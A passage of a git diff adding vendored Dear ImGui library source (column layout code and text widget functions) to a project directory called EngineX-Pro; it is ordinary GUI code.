COLUMNS_HIT_RECT_HALF_WIDTH - window->Pos.x; + x = ImMax(x, ImGui::GetColumnOffset(column_index - 1) + g.Style.ColumnsMinSpacing); + if ((columns->Flags & ImGuiOldColumnFlags_NoPreserveWidths)) + x = ImMin(x, ImGui::GetColumnOffset(column_index + 1) - g.Style.ColumnsMinSpacing); + + return x; +} + +float ImGui::GetColumnOffset(int column_index) +{ + ImGuiWindow* window = GetCurrentWindowRead(); + ImGuiOldColumns* columns = window->DC.CurrentColumns; + if (columns == NULL) + return 0.0f; + + if (column_index < 0) + column_index = columns->Current; + IM_ASSERT(column_index < columns->Columns.Size); + + const float t = columns->Columns[column_index].OffsetNorm; + const float x_offset = ImLerp(columns->OffMinX, columns->OffMaxX, t); + return x_offset; +} + +static float GetColumnWidthEx(ImGuiOldColumns* columns, int column_index, bool before_resize = false) +{ + if (column_index < 0) + column_index = columns->Current; + + float offset_norm; + if (before_resize) + offset_norm = columns->Columns[column_index + 1].OffsetNormBeforeResize - columns->Columns[column_index].OffsetNormBeforeResize; + else + offset_norm = columns->Columns[column_index + 1].OffsetNorm - columns->Columns[column_index].OffsetNorm; + return ImGui::GetColumnOffsetFromNorm(columns, offset_norm); +} + +float ImGui::GetColumnWidth(int column_index) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiOldColumns* columns = window->DC.CurrentColumns; + if (columns == NULL) + return GetContentRegionAvail().x; + + if (column_index < 0) + column_index = columns->Current; + return GetColumnOffsetFromNorm(columns, columns->Columns[column_index + 1].OffsetNorm - columns->Columns[column_index].OffsetNorm); +} + +void ImGui::SetColumnOffset(int column_index, float offset) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiOldColumns* columns = window->DC.CurrentColumns; + IM_ASSERT(columns != NULL); + + if (column_index < 0) + column_index = columns->Current; + IM_ASSERT(column_index < columns->Columns.Size); + + const bool preserve_width = !(columns->Flags & ImGuiOldColumnFlags_NoPreserveWidths) && (column_index < columns->Count - 1); + const float width = preserve_width ? GetColumnWidthEx(columns, column_index, columns->IsBeingResized) : 0.0f; + + if (!(columns->Flags & ImGuiOldColumnFlags_NoForceWithinWindow)) + offset = ImMin(offset, columns->OffMaxX - g.Style.ColumnsMinSpacing * (columns->Count - column_index)); + columns->Columns[column_index].OffsetNorm = GetColumnNormFromOffset(columns, offset - columns->OffMinX); + + if (preserve_width) + SetColumnOffset(column_index + 1, offset + ImMax(g.Style.ColumnsMinSpacing, width)); +} + +void ImGui::SetColumnWidth(int column_index, float width) +{ + ImGuiWindow* window = GetCurrentWindowRead(); + ImGuiOldColumns* columns = window->DC.CurrentColumns; + IM_ASSERT(columns != NULL); + + if (column_index < 0) + column_index = columns->Current; + SetColumnOffset(column_index + 1, GetColumnOffset(column_index) + width); +} + +void ImGui::PushColumnClipRect(int column_index) +{ + ImGuiWindow* window = GetCurrentWindowRead(); + ImGuiOldColumns* columns = window->DC.CurrentColumns; + if (column_index < 0) + column_index = columns->Current; + + ImGuiOldColumnData* column = &columns->Columns[column_index]; + PushClipRect(column->ClipRect.Min, column->ClipRect.Max, false); +} + +// Get into the columns background draw command (which is generally the same draw command as before we called BeginColumns) +void ImGui::PushColumnsBackground() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + ImGuiOldColumns* columns = window->DC.CurrentColumns; + if (columns->Count == 1) + return; + + // Optimization: avoid SetCurrentChannel() + PushClipRect() + columns->HostBackupClipRect = window->ClipRect; + SetWindowClipRectBeforeSetChannel(window, columns->HostInitialClipRect); + columns->Splitter.SetCurrentChannel(window->DrawList, 0); +} + +void ImGui::PopColumnsBackground() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + ImGuiOldColumns* columns = window->DC.CurrentColumns; + if (columns->Count == 1) + return; + + // Optimization: avoid PopClipRect() + SetCurrentChannel() + SetWindowClipRectBeforeSetChannel(window, columns->HostBackupClipRect); + columns->Splitter.SetCurrentChannel(window->DrawList, columns->Current + 1); +} + +ImGuiOldColumns* ImGui::FindOrCreateColumns(ImGuiWindow* window, ImGuiID id) +{ + // We have few columns per window so for now we don't need bother much with turning this into a faster lookup. + for (int n = 0; n < window->ColumnsStorage.Size; n++) + if (window->ColumnsStorage[n].ID == id) + return &window->ColumnsStorage[n]; + + window->ColumnsStorage.push_back(ImGuiOldColumns()); + ImGuiOldColumns* columns = &window->ColumnsStorage.back(); + columns->ID = id; + return columns; +} + +ImGuiID ImGui::GetColumnsID(const char* str_id, int columns_count) +{ + ImGuiWindow* window = GetCurrentWindow(); + + // Differentiate column ID with an arbitrary prefix for cases where users name their columns set the same as another widget. + // In addition, when an identifier isn't explicitly provided we include the number of columns in the hash to make it uniquer. + PushID(0x11223347 + (str_id ? 0 : columns_count)); + ImGuiID id = window->GetID(str_id ? str_id : "columns"); + PopID(); + + return id; +} + +void ImGui::BeginColumns(const char* str_id, int columns_count, ImGuiOldColumnFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + + IM_ASSERT(columns_count >= 1); + IM_ASSERT(window->DC.CurrentColumns == NULL); // Nested columns are currently not supported + + // Acquire storage for the columns set + ImGuiID id = GetColumnsID(str_id, columns_count); + ImGuiOldColumns* columns = FindOrCreateColumns(window, id); + IM_ASSERT(columns->ID == id); + columns->Current = 0; + columns->Count = columns_count; + columns->Flags = flags; + window->DC.CurrentColumns = columns; + + columns->HostCursorPosY = window->DC.CursorPos.y; + columns->HostCursorMaxPosX = window->DC.CursorMaxPos.x; + columns->HostInitialClipRect = window->ClipRect; + columns->HostBackupParentWorkRect = window->ParentWorkRect; + window->ParentWorkRect = window->WorkRect; + + // Set state for first column + // We aim so that the right-most column will have the same clipping width as other after being clipped by parent ClipRect + const float column_padding = g.Style.ItemSpacing.x; + const float half_clip_extend_x = ImFloor(ImMax(window->WindowPadding.x * 0.5f, window->WindowBorderSize)); + const float max_1 = window->WorkRect.Max.x + column_padding - ImMax(column_padding - window->WindowPadding.x, 0.0f); + const float max_2 = window->WorkRect.Max.x + half_clip_extend_x; + columns->OffMinX = window->DC.Indent.x - column_padding + ImMax(column_padding - window->WindowPadding.x, 0.0f); + columns->OffMaxX = ImMax(ImMin(max_1, max_2) - window->Pos.x, columns->OffMinX + 1.0f); + columns->LineMinY = columns->LineMaxY = window->DC.CursorPos.y; + + // Clear data if columns count changed + if (columns->Columns.Size != 0 && columns->Columns.Size != columns_count + 1) + columns->Columns.resize(0); + + // Initialize default widths + columns->IsFirstFrame = (columns->Columns.Size == 0); + if (columns->Columns.Size == 0) + { + columns->Columns.reserve(columns_count + 1); + for (int n = 0; n < columns_count + 1; n++) + { + ImGuiOldColumnData column; + column.OffsetNorm = n / (float)columns_count; + columns->Columns.push_back(column); + } + } + + for (int n = 0; n < columns_count; n++) + { + // Compute clipping rectangle + ImGuiOldColumnData* column = &columns->Columns[n]; + float clip_x1 = IM_ROUND(window->Pos.x + GetColumnOffset(n)); + float clip_x2 = IM_ROUND(window->Pos.x + GetColumnOffset(n + 1) - 1.0f); + column->ClipRect = ImRect(clip_x1, -FLT_MAX, clip_x2, +FLT_MAX); + column->ClipRect.ClipWithFull(window->ClipRect); + } + + if (columns->Count > 1) + { + columns->Splitter.Split(window->DrawList, 1 + columns->Count); + columns->Splitter.SetCurrentChannel(window->DrawList, 1); + PushColumnClipRect(0); + } + + // We don't generally store Indent.x inside ColumnsOffset because it may be manipulated by the user. + float offset_0 = GetColumnOffset(columns->Current); + float offset_1 = GetColumnOffset(columns->Current + 1); + float width = offset_1 - offset_0; + PushItemWidth(width * 0.65f); + window->DC.ColumnsOffset.x = ImMax(column_padding - window->WindowPadding.x, 0.0f); + window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); + window->WorkRect.Max.x = window->Pos.x + offset_1 - column_padding; +} + +void ImGui::NextColumn() +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems || window->DC.CurrentColumns == NULL) + return; + + ImGuiContext& g = *GImGui; + ImGuiOldColumns* columns = window->DC.CurrentColumns; + + if (columns->Count == 1) + { + window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); + IM_ASSERT(columns->Current == 0); + return; + } + + // Next column + if (++columns->Current == columns->Count) + columns->Current = 0; + + PopItemWidth(); + + // Optimization: avoid PopClipRect() + SetCurrentChannel() + PushClipRect() + // (which would needlessly attempt to update commands in the wrong channel, then pop or overwrite them), + ImGuiOldColumnData* column = &columns->Columns[columns->Current]; + SetWindowClipRectBeforeSetChannel(window, column->ClipRect); + columns->Splitter.SetCurrentChannel(window->DrawList, columns->Current + 1); + + const float column_padding = g.Style.ItemSpacing.x; + columns->LineMaxY = ImMax(columns->LineMaxY, window->DC.CursorPos.y); + if (columns->Current > 0) + { + // Columns 1+ ignore IndentX (by canceling it out) + // FIXME-COLUMNS: Unnecessary, could be locked? + window->DC.ColumnsOffset.x = GetColumnOffset(columns->Current) - window->DC.Indent.x + column_padding; + } + else + { + // New row/line: column 0 honor IndentX. + window->DC.ColumnsOffset.x = ImMax(column_padding - window->WindowPadding.x, 0.0f); + columns->LineMinY = columns->LineMaxY; + } + window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); + window->DC.CursorPos.y = columns->LineMinY; + window->DC.CurrLineSize = ImVec2(0.0f, 0.0f); + window->DC.CurrLineTextBaseOffset = 0.0f; + + // FIXME-COLUMNS: Share code with BeginColumns() - move code on columns setup. + float offset_0 = GetColumnOffset(columns->Current); + float offset_1 = GetColumnOffset(columns->Current + 1); + float width = offset_1 - offset_0; + PushItemWidth(width * 0.65f); + window->WorkRect.Max.x = window->Pos.x + offset_1 - column_padding; +} + +void ImGui::EndColumns() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + ImGuiOldColumns* columns = window->DC.CurrentColumns; + IM_ASSERT(columns != NULL); + + PopItemWidth(); + if (columns->Count > 1) + { + PopClipRect(); + columns->Splitter.Merge(window->DrawList); + } + + const ImGuiOldColumnFlags flags = columns->Flags; + columns->LineMaxY = ImMax(columns->LineMaxY, window->DC.CursorPos.y); + window->DC.CursorPos.y = columns->LineMaxY; + if (!(flags & ImGuiOldColumnFlags_GrowParentContentsSize)) + window->DC.CursorMaxPos.x = columns->HostCursorMaxPosX; // Restore cursor max pos, as columns don't grow parent + + // Draw columns borders and handle resize + // The IsBeingResized flag ensure we preserve pre-resize columns width so back-and-forth are not lossy + bool is_being_resized = false; + if (!(flags & ImGuiOldColumnFlags_NoBorder) && !window->SkipItems) + { + // We clip Y boundaries CPU side because very long triangles are mishandled by some GPU drivers. + const float y1 = ImMax(columns->HostCursorPosY, window->ClipRect.Min.y); + const float y2 = ImMin(window->DC.CursorPos.y, window->ClipRect.Max.y); + int dragging_column = -1; + for (int n = 1; n < columns->Count; n++) + { + ImGuiOldColumnData* column = &columns->Columns[n]; + float x = window->Pos.x + GetColumnOffset(n); + const ImGuiID column_id = columns->ID + ImGuiID(n); + const float column_hit_hw = COLUMNS_HIT_RECT_HALF_WIDTH; + const ImRect column_hit_rect(ImVec2(x - column_hit_hw, y1), ImVec2(x + column_hit_hw, y2)); + KeepAliveID(column_id); + if (IsClippedEx(column_hit_rect, column_id, false)) + continue; + + bool hovered = false, held = false; + if (!(flags & ImGuiOldColumnFlags_NoResize)) + { + ButtonBehavior(column_hit_rect, column_id, &hovered, &held); + if (hovered || held) + g.MouseCursor = ImGuiMouseCursor_ResizeEW; + if (held && !(column->Flags & ImGuiOldColumnFlags_NoResize)) + dragging_column = n; + } + + // Draw column + const ImU32 col = GetColorU32(held ? ImGuiCol_SeparatorActive : hovered ? ImGuiCol_SeparatorHovered : ImGuiCol_Separator); + const float xi = IM_FLOOR(x); + window->DrawList->AddLine(ImVec2(xi, y1 + 1.0f), ImVec2(xi, y2), col); + } + + // Apply dragging after drawing the column lines, so our rendered lines are in sync with how items were displayed during the frame. + if (dragging_column != -1) + { + if (!columns->IsBeingResized) + for (int n = 0; n < columns->Count + 1; n++) + columns->Columns[n].OffsetNormBeforeResize = columns->Columns[n].OffsetNorm; + columns->IsBeingResized = is_being_resized = true; + float x = GetDraggedColumnOffset(columns, dragging_column); + SetColumnOffset(dragging_column, x); + } + } + columns->IsBeingResized = is_being_resized; + + window->WorkRect = window->ParentWorkRect; + window->ParentWorkRect = columns->HostBackupParentWorkRect; + window->DC.CurrentColumns = NULL; + window->DC.ColumnsOffset.x = 0.0f; + window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); +} + +void ImGui::Columns(int columns_count, const char* id, bool border) +{ + ImGuiWindow* window = GetCurrentWindow(); + IM_ASSERT(columns_count >= 1); + + ImGuiOldColumnFlags flags = (border ? 0 : ImGuiOldColumnFlags_NoBorder); + //flags |= ImGuiOldColumnFlags_NoPreserveWidths; // NB: Legacy behavior + ImGuiOldColumns* columns = window->DC.CurrentColumns; + if (columns != NULL && columns->Count == columns_count && columns->Flags == flags) + return; + + if (columns != NULL) + EndColumns(); + + if (columns_count != 1) + BeginColumns(id, columns_count, flags); +} + +//------------------------------------------------------------------------- + +#endif // #ifndef IMGUI_DISABLE diff --git a/EngineX-Pro/ImGui/imgui_widgets.cpp b/EngineX-Pro/ImGui/imgui_widgets.cpp new file mode 100644 index 0000000..99e4fc8 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_widgets.cpp @@ -0,0 +1,7881 @@ +// dear imgui, v1.80 WIP +// (widgets code) + +/* + +Index of this file: + +// [SECTION] Forward Declarations +// [SECTION] Widgets: Text, etc. +// [SECTION] Widgets: Main (Button, Image, Checkbox, RadioButton, ProgressBar, Bullet, etc.) +// [SECTION] Widgets: Low-level Layout helpers (Spacing, Dummy, NewLine, Separator, etc.) +// [SECTION] Widgets: ComboBox +// [SECTION] Data Type and Data Formatting Helpers +// [SECTION] Widgets: DragScalar, DragFloat, DragInt, etc. +// [SECTION] Widgets: SliderScalar, SliderFloat, SliderInt, etc. +// [SECTION] Widgets: InputScalar, InputFloat, InputInt, etc. +// [SECTION] Widgets: InputText, InputTextMultiline +// [SECTION] Widgets: ColorEdit, ColorPicker, ColorButton, etc. +// [SECTION] Widgets: TreeNode, CollapsingHeader, etc. +// [SECTION] Widgets: Selectable +// [SECTION] Widgets: ListBox +// [SECTION] Widgets: PlotLines, PlotHistogram +// [SECTION] Widgets: Value helpers +// [SECTION] Widgets: MenuItem, BeginMenu, EndMenu, etc. +// [SECTION] Widgets: BeginTabBar, EndTabBar, etc. +// [SECTION] Widgets: BeginTabItem, EndTabItem, etc. +// [SECTION] Widgets: Columns, BeginColumns, EndColumns, etc. + +*/ + +#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif + +#include "imgui.h" +#ifndef IMGUI_DISABLE + +#ifndef IMGUI_DEFINE_MATH_OPERATORS +#define IMGUI_DEFINE_MATH_OPERATORS +#endif +#include "imgui_internal.h" + +// System includes +#include // toupper +#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier +#include // intptr_t +#else +#include // intptr_t +#endif + +//------------------------------------------------------------------------- +// Warnings +//------------------------------------------------------------------------- + +// Visual Studio warnings +#ifdef _MSC_VER +#pragma warning (disable: 4127) // condition expression is constant +#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen +#if defined(_MSC_VER) && _MSC_VER >= 1922 // MSVC 2019 16.2 or later +#pragma warning (disable: 5054) // operator '|': deprecated between enumerations of different types +#endif +#endif + +// Clang/GCC warnings with -Weverything +#if defined(__clang__) +#if __has_warning("-Wunknown-warning-option") +#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! +#endif +#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' +#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. +#pragma clang diagnostic ignored "-Wfloat-equal" // warning: comparing floating point with == or != is unsafe // storing and comparing against same constants (typically 0.0f) is ok. +#pragma clang diagnostic ignored "-Wformat-nonliteral" // warning: format string is not a string literal // passing non-literal to vsnformat(). yes, user passing incorrect format strings can crash the code. +#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness +#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 +#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. +#pragma clang diagnostic ignored "-Wenum-enum-conversion" // warning: bitwise operation between different enumeration types ('XXXFlags_' and 'XXXFlagsPrivate_') +#pragma clang diagnostic ignored "-Wdeprecated-enum-enum-conversion"// warning: bitwise operation between different enumeration types ('XXXFlags_' and 'XXXFlagsPrivate_') is deprecated +#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision +#elif defined(__GNUC__) +#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind +#pragma GCC diagnostic ignored "-Wformat-nonliteral" // warning: format not a string literal, format string not checked +#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead +#endif + +//------------------------------------------------------------------------- +// Data +//------------------------------------------------------------------------- + +// Those MIN/MAX values are not define because we need to point to them +static const signed char IM_S8_MIN = -128; +static const signed char IM_S8_MAX = 127; +static const unsigned char IM_U8_MIN = 0; +static const unsigned char IM_U8_MAX = 0xFF; +static const signed short IM_S16_MIN = -32768; +static const signed short IM_S16_MAX = 32767; +static const unsigned short IM_U16_MIN = 0; +static const unsigned short IM_U16_MAX = 0xFFFF; +static const ImS32 IM_S32_MIN = INT_MIN; // (-2147483647 - 1), (0x80000000); +static const ImS32 IM_S32_MAX = INT_MAX; // (2147483647), (0x7FFFFFFF) +static const ImU32 IM_U32_MIN = 0; +static const ImU32 IM_U32_MAX = UINT_MAX; // (0xFFFFFFFF) +#ifdef LLONG_MIN +static const ImS64 IM_S64_MIN = LLONG_MIN; // (-9223372036854775807ll - 1ll); +static const ImS64 IM_S64_MAX = LLONG_MAX; // (9223372036854775807ll); +#else +static const ImS64 IM_S64_MIN = -9223372036854775807LL - 1; +static const ImS64 IM_S64_MAX = 9223372036854775807LL; +#endif +static const ImU64 IM_U64_MIN = 0; +#ifdef ULLONG_MAX +static const ImU64 IM_U64_MAX = ULLONG_MAX; // (0xFFFFFFFFFFFFFFFFull); +#else +static const ImU64 IM_U64_MAX = (2ULL * 9223372036854775807LL + 1); +#endif + +//------------------------------------------------------------------------- +// [SECTION] Forward Declarations +//------------------------------------------------------------------------- + +// For InputTextEx() +static bool InputTextFilterCharacter(unsigned int* p_char, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data); +static int InputTextCalcTextLenAndLineCount(const char* text_begin, const char** out_text_end); +static ImVec2 InputTextCalcTextSizeW(const ImWchar* text_begin, const ImWchar* text_end, const ImWchar** remaining = NULL, ImVec2* out_offset = NULL, bool stop_on_new_line = false); + +//------------------------------------------------------------------------- +// [SECTION] Widgets: Text, etc. +//------------------------------------------------------------------------- +// - TextEx() [Internal] +// - TextUnformatted() +// - Text() +// - TextV() +// - TextColored() +// - TextColoredV() +// - TextDisabled() +// - TextDisabledV() +// - TextWrapped() +// - TextWrappedV() +// - LabelText() +// - LabelTextV() +// - BulletText() +// - BulletTextV() +//------------------------------------------------------------------------- + +void ImGui::TextEx(const char* text, const char* text_end, ImGuiTextFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + IM_ASSERT(text != NULL); + const char* text_begin = text; + if (text_end == NULL) + text_end = text + strlen(text); // FIXME-OPT + + const ImVec2 text_pos(window->DC.CursorPos.x, window->DC.CursorPos.y + window->DC.CurrLineTextBaseOffset); + const float wrap_pos_x = window->DC.TextWrapPos; + const bool wrap_enabled = (wrap_pos_x >= 0.0f); + if (text_end - text > 2000 && !wrap_enabled) + { + // Long text! + // Perform manual coarse clipping to optimize for long multi-line text + // - From this point we will only compute the width of lines that are visible. Optimization only available when word-wrapping is disabled. + // - We also don't vertically center the text within the line full height, which is unlikely to matter because we are likely the biggest and only item on the line. + // - We use memchr(), pay attention that well optimized versions of those str/mem functions are much faster than a casually written loop. + const char* line = text; + const float line_height = GetTextLineHeight(); + ImVec2 text_size(0, 0); + + // Lines to skip (can't skip when logging text) + ImVec2 pos = text_pos; + if (!g.LogEnabled) + { + int lines_skippable = (int)((window->ClipRect.Min.y - text_pos.y) / line_height); + if (lines_skippable > 0) + { + int lines_skipped = 0; + while (line < text_end && lines_skipped < lines_skippable) + { + const char* line_end = (const char*)memchr(line, '\n', text_end - line); + if (!line_end) + line_end = text_end; + if ((flags & ImGuiTextFlags_NoWidthForLargeClippedText) == 0) + text_size.x = ImMax(text_size.x, CalcTextSize(line, line_end).x); + line = line_end + 1; + lines_skipped++; + } + pos.y += lines_skipped * line_height; + } + } + + // Lines to render + if (line < text_end) + { + ImRect line_rect(pos, pos + ImVec2(FLT_MAX, line_height)); + while (line < text_end) + { + if (IsClippedEx(line_rect, 0, false)) + break; + + const char* line_end = (const char*)memchr(line, '\n', text_end - line); + if (!line_end) + line_end = text_end; + text_size.x = ImMax(text_size.x, CalcTextSize(line, line_end).x); + RenderText(pos, line, line_end, false); + line = line_end + 1; + line_rect.Min.y += line_height; + line_rect.Max.y += line_height; + pos.y += line_height; + } + + // Count remaining lines + int lines_skipped = 0; + while (line < text_end) + { + const char* line_end = (const char*)memchr(line, '\n', text_end - line); + if (!line_end) + line_end = text_end; + if ((flags & ImGuiTextFlags_NoWidthForLargeClippedText) == 0) + text_size.x = ImMax(text_size.x, CalcTextSize(line, line_end).x); + line = line_end + 1; + lines_skipped++; + } + pos.y += lines_skipped * line_height; + } + text_size.y = (pos - text_pos).y; + + ImRect bb(text_pos, text_pos + text_size); + ItemSize(text_size, 0.0f); + ItemAdd(bb, 0); + } + else + { + const float wrap_width = wrap_enabled ? CalcWrapWidthForPos(window->DC.CursorPos, wrap_pos_x) : 0.0f; + const ImVec2 text_size = CalcTextSize(text_begin, text_end, false, wrap_width); + + ImRect bb(text_pos, text_pos + text_size); + ItemSize(text_size, 0.0f); + if (!ItemAdd(bb, 0)) + return; + + // Render (we don't hide text after ## in this end-user function) + RenderTextWrapped(bb.Min, text_begin, text_end, wrap_width); + } +} + +void ImGui::TextUnformatted(const char* text, const char* text_end) +{ + TextEx(text, text_end, ImGuiTextFlags_NoWidthForLargeClippedText); +} + +void ImGui::Text(const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + TextV(fmt, args); + va_end(args); +} + +void ImGui::TextV(const char* fmt, va_list args) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + const char* text_end = g.TempBuffer + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); + TextEx(g.TempBuffer, text_end, ImGuiTextFlags_NoWidthForLargeClippedText); +} + +void ImGui::TextColored(const ImVec4& col, const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + TextColoredV(col, fmt, args); + va_end(args); +} + +void ImGui::TextColoredV(const ImVec4& col, const char* fmt, va_list args) +{ + PushStyleColor(ImGuiCol_Text, col); + if (fmt[0] == '%' && fmt[1] == 's' && fmt[2] == 0) + TextEx(va_arg(args, const char*), NULL, ImGuiTextFlags_NoWidthForLargeClippedText); // Skip formatting + else + TextV(fmt, args); + PopStyleColor(); +} + +void ImGui::TextDisabled(const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + TextDisabledV(fmt, args); + va_end(args); +} + +void ImGui::TextDisabledV(const char* fmt, va_list args) +{ + ImGuiContext& g = *GImGui; + PushStyleColor(ImGuiCol_Text, g.Style.Colors[ImGuiCol_TextDisabled]); + if (fmt[0] == '%' && fmt[1] == 's' && fmt[2] == 0) + TextEx(va_arg(args, const char*), NULL, ImGuiTextFlags_NoWidthForLargeClippedText); // Skip formatting + else + TextV(fmt, args); + PopStyleColor(); +} + +void ImGui::TextWrapped(const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + TextWrappedV(fmt, args); + va_end(args); +} + +void ImGui::TextWrappedV(const char* fmt, va_list args) +{ + ImGuiContext& g = *GImGui; + bool need_backup = (g.CurrentWindow->DC.TextWrapPos < 0.0f); // Keep existing wrap position if one is already set + if (need_backup) + PushTextWrapPos(0.0f); + if (fmt[0] == '%' && fmt[1] == 's' && fmt[2] == 0) + TextEx(va_arg(args, const char*), NULL, ImGuiTextFlags_NoWidthForLargeClippedText); // Skip formatting + else + TextV(fmt, args); + if (need_backup) + PopTextWrapPos(); +} + +void ImGui::LabelText(const char* label, const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + LabelTextV(label, fmt, args); + va_end(args); +} + +// Add a label+text combo aligned to other label+value widgets +void ImGui::LabelTextV(const char* label, const char* fmt, va_list args) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const float w = CalcItemWidth(); + + const ImVec2 label_size = CalcTextSize(label, NULL, true); + const ImRect value_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w, label_size.y + style.FramePadding.y * 2)); + const ImRect total_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w + (label_size.x > 0.0f ? style.ItemInnerSpacing.x : 0.0f), style.FramePadding.y * 2) + label_size); + ItemSize(total_bb, style.FramePadding.y); + if (!ItemAdd(total_bb, 0)) + return; + + // Render + const char* value_text_begin = &g.TempBuffer[0]; + const char* value_text_end = value_text_begin + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); + RenderTextClipped(value_bb.Min, value_bb.Max, value_text_begin, value_text_end, NULL, ImVec2(0.0f, 0.5f)); + if (label_size.x > 0.0f) + RenderText(ImVec2(value_bb.Max.x + style.ItemInnerSpacing.x, value_bb.Min.y + style.FramePadding.y), label); +} + +void ImGui::BulletText(const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + BulletTextV(fmt, args); + va_end(args); +} + +// Text with a little bullet aligned to the typical tree node. +void ImGui::BulletTextV(const char* fmt, va_list args) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + const char* text_begin = g.TempBuffer; + const char* text_end = text_begin + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); + const ImVec2 label_size = CalcTextSize(text_begin, text_end, false); + const ImVec2 total_size = ImVec2(g.FontSize + (label_size.x > 0.0f ? (label_size.x + style.FramePadding.x * 2) : 0.0f), label_size.y); // Empty text doesn't add padding + ImVec2 pos = window->DC.CursorPos; + pos.y += window->DC.CurrLineTextBaseOffset; + ItemSize(total_size, 0.0f); + const ImRect bb(pos, pos + total_size); + if (!ItemAdd(bb, 0)) + return; + + // Render + ImU32 text_col = GetColorU32(ImGuiCol_Text); + RenderBullet(window->DrawList, bb.Min + ImVec2(style.FramePadding.x + g.FontSize * 0.5f, g.FontSize * 0.5f), text_col); + RenderText(bb.Min + ImVec2(g.FontSize + style.FramePadding.x * 2, 0.0f), text_begin, text_end, false); +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: Main +//------------------------------------------------------------------------- +// - ButtonBehavior() [Internal] +// - Button() +// - SmallButton() +// - InvisibleButton() +// - ArrowButton() +// - CloseButton() [Internal] +// - CollapseButton() [Internal] +// - GetWindowScrollbarID() [Internal] +// - GetWindowScrollbarRect() [Internal] +// - Scrollbar() [Internal] +// - ScrollbarEx() [Internal] +// - Image() +// - ImageButton() +// - Checkbox() +// - CheckboxFlagsT() [Internal] +// - CheckboxFlags() +// - RadioButton() +// - ProgressBar() +// - Bullet() +//------------------------------------------------------------------------- + +// The ButtonBehavior() function is key to many interactions and used by many/most widgets. +// Because we handle so many cases (keyboard/gamepad navigation, drag and drop) and many specific behavior (via ImGuiButtonFlags_), +// this code is a little complex. +// By far the most common path is interacting with the Mouse using the default ImGuiButtonFlags_PressedOnClickRelease button behavior. +// See the series of events below and the corresponding state reported by dear imgui: +//------------------------------------------------------------------------------------------------------------------------------------------------ +// with PressedOnClickRelease: return-value IsItemHovered() IsItemActive() IsItemActivated() IsItemDeactivated() IsItemClicked() +// Frame N+0 (mouse is outside bb) - - - - - - +// Frame N+1 (mouse moves inside bb) - true - - - - +// Frame N+2 (mouse button is down) - true true true - true +// Frame N+3 (mouse button is down) - true true - - - +// Frame N+4 (mouse moves outside bb) - - true - - - +// Frame N+5 (mouse moves inside bb) - true true - - - +// Frame N+6 (mouse button is released) true true - - true - +// Frame N+7 (mouse button is released) - true - - - - +// Frame N+8 (mouse moves outside bb) - - - - - - +//------------------------------------------------------------------------------------------------------------------------------------------------ +// with PressedOnClick: return-value IsItemHovered() IsItemActive() IsItemActivated() IsItemDeactivated() IsItemClicked() +// Frame N+2 (mouse button is down) true true true true - true +// Frame N+3 (mouse button is down) - true true - - - +// Frame N+6 (mouse button is released) - true - - true - +// Frame N+7 (mouse button is released) - true - - - - 